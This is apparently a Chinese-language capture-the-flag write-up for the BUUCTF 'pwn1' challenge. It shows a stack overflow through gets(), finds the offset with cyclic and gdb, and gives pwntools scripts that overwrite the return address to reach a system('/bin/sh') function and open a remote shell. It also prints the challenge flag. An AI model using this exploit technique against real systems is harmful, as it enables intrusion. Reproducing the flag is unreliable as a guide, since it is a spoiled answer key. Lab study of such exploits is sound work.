checksec pwn1
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX disabled
PIE: No PIE (0x400000)
RWX: Has RWX segments
- 拖到IDA64打開,找到main直接F5反編譯。
int __cdecl main(int argc, const char **argv, const char **envp)
{
char s; // [rsp+1h] [rbp-Fh]
puts("please input");
gets(&s, argv);
puts(&s);
puts("ok,bye!!!");
return 0;
}
所以,gets()
可能存在棧溢出漏洞,但並不清楚如何利用
- 發現
fun()
,地址0x401186
int fun()
{
return system("/bin/sh");
}
- 所以只要將函數返回地址覆蓋成
fun()
的地址即可獲得shell。再回過頭來看看需要gets多少字節的數據后才能開始覆蓋返回地址。計算方法參考
首先cyclic 200
,生成以下
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaab
然后gdb pwn1
,進入調試環境后輸入r
運行,當提示輸入時將以上生成的字符串貼進來輸入。
再x /wx $rsp
顯示位於棧頂的內容
0x7fffffffdeb8: 0x61616761
輸入q
退出調試環境,再cyclic -l 0x61616761
看看偏移量是多少
23
當然從IDA查看main的棧信息有
也能得到23這個結果,但是這種方法有時會不准確
所以理論上需要先"a"*23才能覆蓋到返回地址
- 所以利用代碼應為
from pwn import *
p = remote('node3.buuoj.cn', 28769)
payload = 'a'*23 + p64(0x401186)
p.sendline(payload)
p.interactive()
但是實際上跑不通,試了下payload = 'a'*15 + p64(0x401186)
能拿到flag。(霧
請教大佬並參考一、二、三后知,是Ubuntu18調用system()
時需要對其棧,需附加一個ret來保持堆棧平衡。在IDA中查得retn為0x401198
- 因此exp如下:
from pwn import *
p = remote('node3.buuoj.cn', 28769)
retn = 0x401198
payload = 'a'*23+p64(retn)+p64(0x401186)
p.sendline(payload)
p.interactive()
python exp.py
,進入交互環境直接ls
cat flag
flag{c2ae0909-bd05-44b6-b674-cfdb8386302e}